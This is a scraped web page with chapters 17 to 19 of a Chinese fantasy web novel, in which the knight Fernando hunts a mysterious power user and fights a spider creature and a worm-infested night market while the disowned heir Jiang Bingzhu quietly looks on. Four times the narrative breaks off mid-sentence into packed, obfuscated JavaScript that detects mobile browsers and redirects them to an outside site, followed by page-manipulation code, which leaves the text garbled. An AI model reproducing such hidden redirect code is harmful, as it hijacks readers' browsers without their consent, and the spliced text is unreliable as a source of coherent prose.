l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597656|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去得也快。 临湖的疗养院中,管家接听着电话,神色一点点变得郑重起来。 从圣雅各医院离开后,他来到了湖畔疗养院散心。可还不到一天,竟然又在附近,感受到了非常恐怖的气息! 在来到第二城前,他根本没有想到,这么个普通的城市,竟然会有如此多诡异生物。 而不管多么强大的生物,都在短暂的出现之后,迅速销声匿迹了,这让管家更加确信,最近在京城声名鹊起的“希格尔德”就在第二城! 他一刻都没有犹豫,将这件事上报给了江家未来的继任者,江家大少爷,江知衍。 江知衍本身便是强大的异能者,同时,又已经接管了江家的许多重要事务,处理的得心应手。明眼人都看得出来,在江家彻底由他掌管后,或许会比从前更加辉煌。 这位江家大少爷做事思虑周全,同时也极为果决,在听完管家的汇报后,他沉吟片刻,便做出了决定。 “你提供的信息很有必要,”他先是赞赏了一句,然后说,“希格尔德是让全京城瞩目的神秘高手,想要接近他,普通的异能者远远不够。” “刚巧,我这里有一位客人,对第二城最近频发的诡异事件很感兴趣,也想见识见识希格尔德的能力。我为他安排了今晚到达第二城的航班,就请你替我接待一下吧。” 江知衍的客人?听起来,还是能与希格尔德一较高下的那种。 这么重要的任务交到自己手上,这是晋升的前兆啊!管家受宠若惊,连连应答着。 电话挂断,他只觉得自己伤不需要养,心也不用散了,当即要前往机场,提前迎接那位远道而来的贵客。 管家带着对未来的憧憬,走进了停车场。但他还没走到自己的座驾边,便凭借着敏锐的对金钱的嗅觉,远远看见一辆非同凡响的车。 那辆车通体漆黑,车身呈现流畅的弧线型,就连轮毂都透着一种格外的奢华与别致。最重要的,是车前那个充满了科技感的车标——管家非常熟悉这个牌子,这是在京城,都只有权贵开得起的豪车。 而这一辆,甚至是更为罕见的定制款。 管家一时想不到,究竟是京城的哪一位,最近也来了第二城。 没等他寻摸出个所以然,一阵脚步声响起,车的主人回来了。 出于某种说不清的心理,他飞速躲了起来,从暗处观察着他们。 由于距离和角度的原因,管家并没能看清车的主人,只能勉强看见对方优雅地拉开副驾车门,做了个请的手势。 管家赶紧换了个视野更开阔的角度,然后,他便看见一个身材高挑的少年走过来,自然地坐进副驾的位置。 能坐在这种车的副驾驶,本来就一定程度上说明了少年身份并不简单。而从他和车主人的肢体交流来看,这两人显然极为熟悉,让管家更对此深信不疑。 只是那少年留着黑色长发,略显单薄的背影莫名让管家有些眼熟。 副驾上的这位……怎么这么像江秉烛呢? 17.第 17 章 管家很快将这个无厘头的想法赶出了自己的脑子。 江秉烛怎么可能出现在这里呢? 虽然第二城远远比不上京城,但还是有一些规矩的。比如说,像维斯特湖这种私人所属的湖区,就不可能让普通人进来。 脱离了江家真少爷的身份,江秉烛就是个渔村来的乡下人,怎么可能进到这么高端的地方呢? 他方才特意查了,这个品牌只提供过两次定制款的车,一次是给京城的王氏家族,另一次,则是给一位举足轻重的异能者。江知衍曾经想要定制一台跑车,都没得到它们的同意。 区区一个江秉烛,想也没可能认识这么厉害的人。 管家很好奇那两个人的真实身份,可惜没什么线索。直到江知衍的客人降落,才终于收回头绪。 他换上一副恭谨的笑容迎了过去:“费尔南多先生,您好。” 费尔南多:“嗯。” 和他那头热烈的红发不同,费尔南多本人话很少,管家的嘘寒问暖全都像一拳打在棉花上,得不到一点回应。 这种对话又让管家莫名其妙地想起来江秉烛。 那家伙也是这样,永远是游离在外的样子,不知道他在想什么。 不过,江秉烛和费尔南多先生当然是没办法相提并论的。 那位真少爷如果有任何拿得出手的东西,也不会被江家扔到第二城来,自生自灭了。 管家的重心可不在这么一个家族弃子身上,他正不遗余力地像费尔南多介绍当前情况,关于第二城的诡异,更关于那个神秘的“希格尔德”。 费尔南多又是“嗯”了一声,过了一阵子,问:“今天下午,出现在诡异现场的人,能找到吗?” “当然,”管家连连道,“我这就为您联系第二城中枢局,当时的亲历者都能请到。您具体想要做些什么?有特别的需求吗?任何事情,江家都可以为您安排。” “找一个安静的地方,”费尔南多说,“我和他们见见,一对一。” 见面?管家心里冒出一丝疑虑,这种事情,竟然可以通过简单的见面找到线索吗? 费尔南多先生真不愧是大少爷口中的客人啊! 另一边,红发青年并没有关注到管家千回百转的想法。 ——他从诡异世界来到这个位面已经有一阵子了,但仍然对诡气稀薄的环境很不适应,各种反应都比正常情况迟缓很多。 费尔南多来自诡异大陆,是一名高级骑士。他来到这里,是需要为了进行晋升的最后考核。 只要成功,他就能成为守卫至高神殿的圣殿骑士,并且有机会,觐见传说中的那位至高神大人! 当然,神明自有神明的事情要忙,哪怕是在职的圣殿骑士,也只有很少很少一部分人有幸得见祂一面。可即便只是一丝可能,也让费尔南多心潮澎湃。 那可是至高神! 在祂之前,诡异世界的邪神之间有着长久的纷争,整片大陆战火连绵,从未停歇。 其中还有一位曾掌握空间之力的神明,为了在斗争中取胜,打通了诡异大陆与其它位面的链接,与更恐怖的邪神达成合作,献祭了不计其数的生命。 而这一切,都在至高神问鼎深渊之后,归于平静。 祂不仅战胜了诡异大陆的其它神明,还斩杀了位面外的威胁,以碾压性的强大,让纷争不断的诡异大陆和平下来。 和祂千千万万的信徒一样,费尔南多仰慕、敬畏他们唯一的神明。 他甚至渴望离至高神更近一点,进入他的神殿。 他想要成为祂的骑士。 前面的考核费尔南多都已经完成,只差最后一关就能晋升——在一个陌生的位面,获得足够多人的认可,尽到骑士守护的职责。 而他被分到了这个最为特别,诡气极其稀薄的位面。 尽管这里的对手并不强劲,但对外来者的状态却有很大影响。 在反应速度和身体素质之外,费尔南多的异能也被迫从初级神选者的强度降到了普通的七级异能者。 他仍旧不太适应。 不过,就算在这里不能发挥全部实力,江家管家所描述的情况,对他而言还不算问题。 他们想要找到“希格尔德”的痕迹,苦于现场的线索已经在过于强大的能量下被销毁殆尽了。 但那样强的异能,除了现场外,在目击者身上也会留有残余。 对于这里的异能者来说,这是很难的技巧。 但费尔南多是诡异大陆出身的高级骑士,对他来说这并不算难。 各种情绪在他心头涌动,只是在那张接近于面瘫的脸上,看不出任何波动。 另一边,管家已经和第二城中枢局取得了联系,转过头问:“费尔南多先生,您要在什么地方和那些目击证人会面?” “中枢局说,他们刚经历诡异事件,不适合太过严肃的场合,”管家说着,又赶忙补充道,“不过这只是他们的说辞,您的需求,肯定是要高过这些人的!” 费尔南多没说话,只是看着中枢局传来的那份目击证人名单,管家又不知道他在想些什么。 过了半晌,红发青年才指了指其中一个名字:“江家的?” 管家凑过去,看见“江秉烛”三个大字,神情立刻变得有点儿扭曲。 ——怎么哪儿都有这个没用的真少爷! 等等,他下午在豪车边上看见的那个,不会真的是……打住! 管家停下了越发不着调地思绪,深吸一口气,谦卑地回应道:“您也知道,江家的继承人们都极为优秀,大少您是见过的,亦宁少爷年纪轻轻,也天赋出众,是万众期待的明日之星。” 江氏夫妇嫌江秉烛这个没有异能的真少爷太过丢脸,没有让他正式认祖归宗、没对外界宣布他的存在,更不允许他在第二城时随便说出自己的身份。 管家揣度着他们的意思,没有直接否认江秉烛的身份,但表达的意思很明显。 费尔南多又“嗯”了一声,对这个平平无奇的名字,没有再多说什么。 —— 费尔南多会见诡异事件亲历者的时间最终定在了次日上午,同时,这位远道而来的客人还选了一个匪夷所思的地点。 江秉烛跟金祈安、时家尔两个人下了车,抬头看着眼前雅致古朴的装潢,还有门前牌匾上用颜体提着的苍劲有力的“卧龙轩”三个大字,陷入了沉默。 ……这是家米其林三星粤菜店来着。 “这是什么套路啊?”时家尔大为震撼。 谁家好人调查诡异事件,选这种地方啊? “我去,这哥们儿阴险啊,”金祈安有理有据地分析,“他是不是要灌我们酒,然后从我们嘴里套话啊!” 显然,还没有从昨天的白兰地ptsd中缓过来。 他被时家尔白了一眼,耸了耸肩,转向江秉烛寻求认同来了。 江秉烛若有所思:“不喝酒的话,能不能自己点菜?” 时家尔:“……” 金祈安:“……” “算了,说点儿正经的,”金祈安对他们中,排序在最前面的江秉烛说。 “我们异能者呢,也是有组织,有人监管的。像是之前在医院,或者是昨天维斯特湖边发生的那种大规模诡异事件,中枢局都会介入,进行善后与调查。不过中枢局有时候也挺草台班子的,我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604897|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道他们这么兴师动众干什么,如果里面有任何不对,你立刻通知我们。” 金祈安一边说,一边观察着江秉烛。 他昨天受到污染,醒来后的记忆断断续续的,后脑勺还特别疼。只记得自己几乎要对转学生动手了,却死活想不起来这件事最后究竟是怎么收场的。 他记不清倒也算了,可转学生当时可是性命直接受到了威胁的。但江秉烛今天见到他们,态度还是一点没变,仿佛昨天在维斯特湖畔什么都没发生过一样。 这真的只是心大吗? 出于谨慎,金祈安没有跟任何人分享他的疑惑,只是继续关注着转学生。 江秉烛相当配合地比了个“ok”的手势,走进餐厅。服务生领着他七拐八拐走到一个包厢门口,安静地退到一边。 他推开包厢门,里面只坐了一个红发青年,桌子上摆着几份精致的早茶糕点。看见他进来,红发青年默默把点菜的ipad往前推了推。 “江秉烛同学?”红发青年问。 江秉烛点了点头,顺手接过菜单,在上面翻了翻,点了一条野生三刀鱼、一份清蒸石斑鱼、一份拆鱼羹、一碗花胶鲟虎鱼汤,稍微弥补一下自己昨天并不那么丰厚的收获。 他就说,这地方可以自己点菜的吧。 费尔南多也没拦着。出于对异能的熟练掌握,他可以借此观察到遗留在生物身上的能量痕迹,并从这些蛛丝马迹中,分析出许多包括能量的来源、使用者的特征等多项数据。 为此,他需要一些和人独处的时间。 但费尔南多并不擅长聊天,和另一个人面对面坐十几二十分钟也过于尴尬。好在他临时有了小小巧思,选择把地点定在了家以点心闻名的粤菜馆——两个人对着吃点心,总比大眼瞪小眼要好。 只是,当菜品一道道上来,费尔南多看着一盘又一盘清蒸的、红烧的鱼,感觉自己误入了猫窝一样。 桌子上的几条鱼在以风卷残云般的速度消失。 费尔南多本来早就吃好了,看着飞速消失的三刀鱼,没忍住,也拿起筷子夹了一口。 浓郁的油香与极致的鲜美在味蕾上炸开,费尔南多瞪大了眼睛。从诡异世界到人类世界,他从未吃过这么好吃的东西! 他立刻把菜单拿了回来,在上面又勾了一条三刀鱼,下单前,忍不住问对面的少年:“还有推荐吗?” 江秉烛面前的几条鱼,除了葱姜丝以外,已经被挑得一干二净了。 在转向餐后小甜点前,他拿起餐巾纸,优雅地擦了擦嘴,在菜单上又指出来几份粤式经典海鲜粥与鱼汤。 在两个人相处的这段时间里,费尔南多没从这个少年身上察觉任何异样的能量波动,一切都和每一位普通人一模一样。但在吃这方面,他已经对江秉烛充满了佩服,当下没有任何迟疑,把方才提到的菜品统统下单,还自掏腰包,又将这些全部给江秉烛外带了一份。 上菜还需要一段时间,费尔南多想借着这个机会,再发现几道美食。 可就在这个时候,包厢的门却被人敲响了。 他正要让人进来,却猛然察觉到了什么。 “退后。”费尔南多说。 下一秒,一把黑色的阔刃大剑从后方飞出,稳稳落入他的手中。 大剑在空中划出一道凌厉的长弧,猛然向前劈砍。 同一时间,两只嶙峋的螯肢捅破了包厢厚重的木门! 螯肢折刀似的硬甲与和剑锋碰撞在一起,迸溅出明亮的火花。 火花落在洁白的桌布上,烫出一个焦黑的窟窿。 江秉烛的眼神微微一顿。 然后,轻轻放下了手中的汤匙。 18.第 18 章 白瓷汤匙接触碗壁,发出了“叮”的一声脆响。 但这声音极其轻微,立刻被淹没在扑面而来的声浪之中。 不过片刻之间,费尔南多手里的大剑已经与诡异生物的螯肢过招对打了几个回合。 费尔南多每一次挥剑,便要上前逼近一步,他跨出了包厢,餐厅仿佛都被一道道凛冽的剑光照亮,鲜艳的红发随着他的动作飞扬,像是一团不羁的火焰。 蜘蛛型的诡异生物只有一开始凭借出其不意的偷袭得到了一点优势,在真正的对决中,根本不是费尔南多的对手。 剑刃很快便捅穿了坚硬的甲壳,将它钉死在墙面之上。 敌人已经死了,费尔南多擦了擦脸上被溅到的一点黄绿色的血液,正在思考这个诡异生物是什么时候混进来的,就被一声食客的尖叫拉回了思绪。 装潢古朴的餐厅此刻只剩一地狼藉,那只诡异生物的尸体被狰狞地钉在墙上,黄绿色的血液顺着墙面留下恶心的痕迹,一点都不下饭。 费尔南多顿感完蛋。 他又忘了,这里不是他那个诡异横行的世界,普通的居民们看到这种场景,是会害怕的。 更糟糕的是,这里还是餐厅! 他动作一僵,想起战斗间看到的几个端着盘子的服务生,仓皇地抬起头,手足无措地对食客们说:“抱歉——” 他话没说完,忽然看清了眼前的景象。 虽然食客们大多是一脸惊慌,虽然服务生们步伐凌乱,失去方寸,但是他们手里的菜品竟然还好好的,没有糕点掉到地上,也没有汤汁洒出去。 只有几盅不幸的鱼羹从托盘中滑落,眼看就要给已经是一片狼藉的餐厅雪上加霜。 斜侧里,忽然伸来一双骨节分明的手。 那手生得很好看,虽然因为缺少血色而过于苍白,却比最珍贵的白瓷还多了几分漂亮。修长的手掌托住了掉落的瓷盅,看不出用了力气,也并不显得慌张,却将鱼羹托得极稳,甚至水位线动也没动一下,根本不像是掉落,仿佛仍然静静地待在托盘里似的。 那双手的主人若无其事地将鱼羹放回服务生那里,一套动作轻松而写意,好像他只是路过一样平静。 费尔南多忽然知道,其它那些幸免于难的菜品是怎么一回事了。 而江秉烛抬手接过另一名服务生手里大大小小的打包袋,朝费尔南多露出了一个浅淡的笑容:“谢谢。” 约定好的,每个人与中枢局调查专员会面的时间,至此刚好结束。 费尔南多一怔,那少年已经转过身,消失在逐渐沸腾的人群中了。 中枢局的人接连赶来,现场还有许多事情需要处理,费尔南多没能追上去,先在中枢局的配合下,研究起当前这起诡异事件。 据分析,这只五级蛛型诡异生物的异能与毒素相关,可以在食客服用含有毒素的食物的一段时间后,远程麻痹他们的神经系统,然后利用毒素腐蚀他们的内脏,让他们成为诡异生物眼中的可口佳肴。 蛛型诡异生物到达餐厅的时间不短,还没有任何食物被注入毒素,这是不幸中的万幸。 但这件事仍有两个非常大的疑点。 第一,以费尔南多的实力,他应该在诡异生物出现的第一时间就察觉到它的存在。如果不能,这只诡异生物身上大概率带有隐匿气息的buff,尽管中枢局还没能查出任何相关物品。 第二,蛛型诡异生物是在注入毒素之前,就贸然向他们发起攻击的,这不符合该诡怪正常的行为逻辑。除非它的San值是在接触到什么不该接触的东西后突然掉光的,否则费尔南多真想不到,这种连生存本能都有缺陷的东西,是怎么熬到五级的。 可是一家全是普通人的餐厅,有什么是能让诡异生物突然受到刺激的吗? 费尔南多万分不解,只觉得这个位面看似普通,实则比他想象得还要复杂许多。 就比如说,刚刚的场面那么混乱,可江秉烛一个普通得不能再普通的学生,保持了镇定不说,还帮助了服务生,没有让任何一道菜掉下来。 这是这个世界的普通人能做到的吗? “费尔南多先生,您在想什么?”听说出了问题,赶过来的江家管家问。 “江秉烛,”费尔南多说出了一个人名。 怎么又是这家伙!管家简直受不了了。 他紧张地问:“您怎么会这么在意他?他做了什么失礼的事情吗?” “恰恰相反,”费尔南多摇头,“事发时,他帮忙端住了盘子。” 还以为是什么事,原来只是端盘子啊。 管家长舒一口气:“这只是举手之劳,您不用想太多。” 费尔南多“啊”了一声,问:“这很正常吗?” 在他看来,刚才江秉烛扶住菜品时对肢体的控制和反应速度,即便放在异能者中,也是很优秀的了! 管家却在此时警铃大作。 他怎么觉得这位费尔南多先生话里话外的,对江秉烛很不一般呢? 管家对江秉烛这个废物真少爷的态度如何,他心里有数。要是换做他自己,有一天能认识大佬,咸鱼翻身,肯定不会让曾经对自己不好的人好过。 为了避免这个问题,他可不能让费尔南多先生对江秉烛有个特殊的印象。 管家得体而笃定地说:“这当然很正常,是一个人基本的礼貌,换任何一名路人在场,也会帮忙的。” 费尔南多微微睁大了眼睛,随后郑重点头。 他看过这个世界的文学作品,其中不乏没有异能但是拥有“武功”,可以飞天遁地的普通人。 他原本还以为那些只是经过艺术加工之后的作品,但今天看来,应该是真的! 普通人都能做到如此程度,这个世界,果然卧虎藏龙! 中午的插曲无疑让费尔南多对找到“希格尔德”的大业更为上心。他又亲自接触了许多位维斯特湖诡异事件的亲历者,一直忙到晚上,可惜收获仍然为零。 即便里面有两名学生也拥有异能,他们却不能提供比普通人更多的消息了。 费尔南多有些失望,却并未气馁,打算明天继续。 就在这时,中枢局的人一路小跑着找了过来。 他们在费尔南多提供的线索下,找出了几天之内蛛型诡异生物的行动路线。一查之下,竟然发现这只诡异生物连续几天都停留在一个夜市! 鸿福夜市,位于第二城的一条知名街巷,以物美价廉、量大管饱而出名,它旁边还有不少卖有趣东西的小店,在第二城有着优质且稳定的客流量。 不说别的,第二城中枢局的人自己都很喜欢在结束工作之后,去鸿福夜市买几根烤串、捧一杯奶茶,逛逛周边的小店。 能释放毒素的蛛型诡异生物竟然在这样的地方潜伏了好几天,这件事简直太惊悚了! 更值得注意的是,不像其它诡怪,这只蛛型诡异生物的行动轨迹似乎并非全凭本能。种种迹象表明,它更早之前,可能在另一片人口密集的居民区出没。 从居民区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610554|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到夜市,再到知名餐厅,一般的诡异生物觅食,不会选择这些人流量过大的地方。这只诡异生物的行动,仿佛早有预谋一般。 “我们正在安排人手,联系几天内去过鸿福夜市的居民,对他们进行保护与观测,”中枢局负责人说着,忧愁地叹了口气。 最近第二城的诡异事件实在是太多了一些。异能者的数量本就不多,这样一来,更加捉襟见肘。而涉及夜市这样人流密集的地点,他们多拖一刻,情况就越不乐观。 而且,如果真像他们想的那样,或许除了蛛型诡异生物外,还有别的诡怪也潜伏在那里。 他恳求地看向费尔南多:“先生,我们还需要派人去鸿福夜市调查,或许,能占用您一点点时间,请您为我们的人提供一些帮助吗?” 管家在旁边,脸色一沉。这可是他们江家请来的人,只找“希格尔德”就够了,第二城那些天天去夜市的人什么档次,也配劳烦费尔南多先生吗? 他刚要开口,就被费尔南多打断了。 红发的骑士眼中带着义不容辞的凛然:“当然!我一定会去的。” —— 晚上八点半,鸿福夜市。 两名穿着学院制服的学生站在熙熙攘攘的巷口。 今天是周五,马上就可以迎来周末。安森之前迷迷糊糊地在医院躺了两个多星期,这时候根本不愿意继续待在学校。他出校门时,刚好看见往回走的江秉烛,想起转学生杳无音讯的金鱼,安森立刻变定了主意,打算带江秉烛买几条新的。 他们此前已经逛过了第二城的高端水族馆可惜江秉烛都没有挑到心仪的宠物鱼。 两个人晃了一圈,最终来到了鸿福夜市——这附近有第二城最大的观赏鱼市场,说不定能以量取胜,让江秉烛有点收获。 比起高端水族馆,这里的卖鱼方式很不一样。 一尾尾金鱼被装在塑料袋里,挂在小店门口的铁丝网上。 暖黄色的灯光从店里照射出来,穿过透明塑料袋,照亮一条条金鱼,最后落在江秉烛的脸上。 他在某一家小店门前站定,视线所及之处,刚好有一尾红色的小金鱼吐着泡泡在江秉烛眼前游来游去,一只凸出的大眼睛隔着塑料袋,望向他。 江秉烛伸出手,用指尖轻轻戳了一下,塑料袋立刻凹陷下去。 那条金鱼竟然也不躲,还拿头往过拱了拱,傻不拉几的。 “靓仔,买袋啦,”摊主在旁边劝他,“又抵养又旺运,超值哎!” 江秉烛和那只金鱼面面相觑,没看出来这玩意儿身上有任何与幸运相关的能力在。 几分钟后。 他拎着一袋脑子不太好的金鱼,在不远处找到了安森。 安森一手拿着一把烤串,另一手抱着一碗咖喱鱼蛋。看见江秉烛来,他眼前一亮,把鱼蛋塞了过来。 “你帮我拿一下!”他说,“我的铁板鱿鱼刚烤好了,这些串儿咱俩一人一份,你有爱吃的再点!” 江秉烛什么也没说,单手接过那碗咖喱鱼蛋。 安森喜滋滋地要去拿自己的大鱿鱼串,忽然觉得眼前一花,仿佛看见咖喱鱼蛋齐刷刷地从中间裂开了,有黑气一样的东西从中间逃也似的飞出来,模样很生动,跟有人在屁股后面撵一样。 安森:“?” 他使劲眨了眨眼,往咖喱鱼蛋前凑:“我怎么好像看见这里面有东西?” “你看错了,”江秉烛平静地在空中抓了一把。 “蚊子,被我打死了。” 19.第 19 章 虽然现在是秋天,蚊子确实非常活跃,但那一团黑乎乎的奇怪的东西,怎么看也不像吧? 安森不太相信。 可当他再想给江秉烛指出鱼蛋上的怪异时,他突然发现,自己那一碗咖喱鱼蛋都好端端的,没有裂开,上面更没有黑气。 安森:“?” 一扭头,又看见江秉烛相当笃定的,明晃晃写着“那就是蚊子”的眼神。 那……可能确实是自己眼花了吧。安森想,什么黑气飘在鱼蛋上,那也太奇怪了,根本不可能出现在现实里,而且,小江这么好的人,肯定不会骗自己的呀。 他这样劝说着自己,从人群里挤出去,去拿那两串刚烤好的铁板鱿鱼了。 江秉烛留在原处等他,叉起一个咖喱鱼蛋尝了尝。 虽然混进了一点别的东西,但味道还不错。 这里的人类比诡异世界会做饭多了,他默默总结,思考着要不要派几个人来,和这里的厨子学学做饭。 不过……今天就算了。 鸿福夜市另一头,费尔南多跟随第二城中枢局的人走下车。 已经有人在负责疏散工作,而他们进入夜市,一来是想调查蛛型诡异生物与其它诡怪的出现,二来是堤防一些意外发生,身处夜市中,总能更快做出反应。 当然,在鸿福夜市外围,中枢局也提前调来了目前可用的最强攻击性人手,带着当前最先进的抗诡异武器在外围严阵以待。 连克莱登学院A班那些登记的异能者都被叫了过来,可见他们已经做了能力范围内最好的准备,没有一点疏忽。 这是很值得欣赏的组织能力和反应能力,费尔南多面无表情的在心底夸赞。神殿安排的这场晋升考核的确另有深意,这无疑让他对这个诡奇气稀薄的位面有了更多了解,不愧是至高神大人的手下! 他一边想,一边警惕地环视四周。 映入眼帘的,是来自各地的美食摊位。 热腾腾的牛杂在锅中翻滚,刚出炉的小龙虾色泽鲜亮,上面铺着一圈炒香的蒜蓉。金黄酥脆的炸猪排在案板上,厨刀切割酥脆的外壳,鲜香的汁水随着热气向外流淌…… 每一个走在夜市中的食客,脸上都洋溢着幸福灿烂的笑容。即使听到了疏散人群的紧急广播,他们仍然没有放在心上,一边不解地向外走,一边继续将食物向口中送去。 可是作为异能者,费尔南多看得非常清楚,他们要放入嘴里的,根本不是美食! 蠕动的触手在老火靓汤里翻转,顺着锅沿向外攀爬,肉的表面出现一道道蜿蜒的痕迹,像是反应出什么东西移动的轨迹。而龙虾的甲壳下面,长而细的触须时隐时现。 全然不知的食客张开嘴,一下一下地咀嚼着肉排。食物的碎块中,不知名的多足虫在他们齿间一闪而过,又在不久后,从七窍中钻出。 “这、这都是什么东西……”中枢局的异能者不由自主地惊呼一声,胃里翻江倒海,几乎要吐出来。 “哇,张生!” 好巧不巧,后面档口相熟的老板在这时叫住了他,仔细一看,被他的脸色吓了一跳,“你今日面色好差,整杯凉茶顶住先啦?” 张姓异能者勉强绷住表情,礼貌地回绝了老板。可就在双方对视的时候,他清楚地看见,一条虫子爬过老板的眼球! 那东西停留片刻后,又“窸窸窣窣”地回到了眼眶。 老板也被污染了! 他惊慌地后退了半步,胸膛剧烈地欺负着,直到后背被人扶住。 “借过,”一名清秀的黑发少年平静地从他身边走过。 “江同学?”费尔南多脸色一变。 从一进入鸿福夜市起,他的面色就十分沉重,在其余异能者满心惊疑时也没有说话,只是不动声色地扩大自己的能量场,感知着周遭的一切。 江秉烛的出现,却完全在他的意料、也在他的探测之外。 或许……是探查到那样的存在,让自己分心了。 想到这里,费尔南多神情更加凝重,一下把江秉烛和安森扯到自己身后,然后把他们手里的食物远远扔了出去。 啊……好可惜。 江秉烛有些遗憾地撇了撇嘴,安森却炸了起来:“先生,你这是什么意思!这些都是——” “留在这里。”费尔南多忽略了安森愤怒且不解的目光,斩钉截铁地吩咐。 同时,他转向张姓异能者:“计划有变,提前激活净化阵。” 一开始,中枢局只是担心蛛型诡异生物留下的毒素对食客们产生毒害,但现在看来,情况比他们想象得还要严峻。 那些多足虫子和蛛型诡异生物无关,这里还潜藏着其它诡怪,严重地污染了食客与摊贩们。 这种程度的污染,只能靠净化驱除。 费尔南多自身的异能完全是战斗系的,与净化无关。好在他身为骑士,记录过净化相关的魔法阵。与中枢局的异能者合作,应当能起到一定作用。 张姓异能者迅速传达好他的命令,又问:“我们安插在夜市里的人手,还需要做什么吗?” 按照最开始的计划,他们已经成功分散在夜市各个角落,调查诡异生物的痕迹,同时应对可能出现的紧急情况。 “嗯,”费尔南多说,“打开防御装置,最大功率。” 费尔南多的强大,第二城中枢局的人有目共睹。但突然让他们开启防御装置,这个命令还是令人摸不着头脑。 张姓异能者还来不及应声,夜市里忽然平地起了一阵狂风,所有挂在摊位前的横幅开始猎猎作响。 与此同时,费尔南多将手向前一伸—— 破空之声响起,一柄阔刃大剑穿过半个夜市,径直朝他们的方向而来! 费尔南多双手握住剑柄,大剑在他手中斩出无数道雪亮的剑芒,目标之一,却是前方那位热情的凉茶摊主。 “等等——” 异能者们下意识做出动作,要去援救被锁定的普通人。 但没人能追上那一剑的速度,他们眼睁睁看着剑光将凉茶摊主劈成两瓣。 然而,那副被剖开躯体中,却没有流出任何鲜血。他们甚至没有看到一个人应有的组织与器官,仿佛人的躯壳只是一具空空的皮囊,而那里是一片黑压压挤在一起的、蠕动着的细小颗粒,从头到脚,挤满了一整个腔体。 被切开的两瓣身体分别向左右倒去,中间的缺口越撕越大,属于人类的皮囊急剧干瘪下去,无力地飘在空中。那些黑色的细小颗粒如潮水般顺着身体的缺口暴涌而出——那竟然是数以万计的黑色蠕虫! 它们朝着最近的活物飞速爬去,密密麻麻、铺天盖地,像黑水一般,沿着尸体向外流淌。 在场的所有异能者,都不由得向后退了半步。 他们完全不想象不到,半分钟前还在和他们热情打招呼的摊主,竟然不知在什么时候,就成了一堆虫子的容器! 在令人头皮发麻的“沙沙”声中,虫潮向外蔓延,仿佛下一秒就能一拥而上,将他们全部吞噬。 就在这一刻,那具被斩段的人类的皮囊上,费尔南多留下的剑痕倏忽亮了起来。 一道炽白的光芒沿着剑痕迅速扩散,宛如骤然升起的圣火,将周遭涌出去的黑色小虫灼烧殆尽。 ——尽管还没有操纵“神焰”的资格,但作为至高神的高级骑士,费尔南多所能驱使的火焰,也足以让大部分诡异生物闻风丧胆。 可这还不是结束。 整个夜市里,受污染的人数太多了。 在剑光无法顾及的地方,成千上万的黑色小虫向每一个活人涌来。离活物越近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616867|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,它们的身躯就变得越庞大,露出狰狞而丑陋的巨口,被终于激活的防御装置堪堪挡住。 江秉烛和安森被几名异能者护在装置里,整个空间寂静无声,只能听见多足虫行动时,触肢与地面摩擦产生的声音,和人类越来越快、越来越响的心跳声。 江秉烛皱了皱眉,觉得自己可能有点不合群。 好在这个时候,不管是安森还是异能者们,都没空注意这里是不是缺少了一个人的心跳。 他们都聚精会神地看着前方,大气都不敢喘——手持大剑的青年在黑色的虫潮中劈开了一条路,他的红发随着动作在空中飞舞,像是一团火焰,成了天地间唯一耀眼的颜色。 那青年挥舞着巨剑,每一次斩击都在空中掀起炽灼的热浪。而与他对决的,则是一团深灰色、有着无数蠕动颗粒的影子,它在剑光下分散,然后又重组,阴魂不散地缠在费尔南多身边,只等他露出破绽。 所有夜市中的幸存者都屏住了呼吸,哪怕普通人这时候也非常清楚——这是关乎他们性命的战斗。 在与诡异生物的对决中,费尔南多渐渐获得上风。 他从靠近鸿福夜市时便觉得不好,直到见到受污染的食客时,终于确认了,藏在鸿福夜市里的,远不止一只蛛型诡异生物,而是“蛊人”。 只要生物食用了它设下的蛊,就会从此成为蛊人的培养皿,用自己的血肉器官,供养那些蛊虫,丰富下蛊人的异能。 严格来讲,蛊人不算诡异生物,而是因为过于渴求力量,而踏上邪道的人。 这只蛊人的强度已经达到了七级,它在此前究竟祸害过多少个地方、伤害了多少曾经的同伴,已经不得而知。 费尔南多穿越位面而来,他的异能强度受到了限制,但凭借着丰富的战斗经验,最终先找到了蛊人的破绽,将灰影击落在地。 那团落地的影子在这时,终于显现出了一点人类的形状。 它狼狈地在地上滚了一圈,身体在战斗中缺了很多角,变得骨瘦如柴,上面还有火焰在熊熊燃烧。 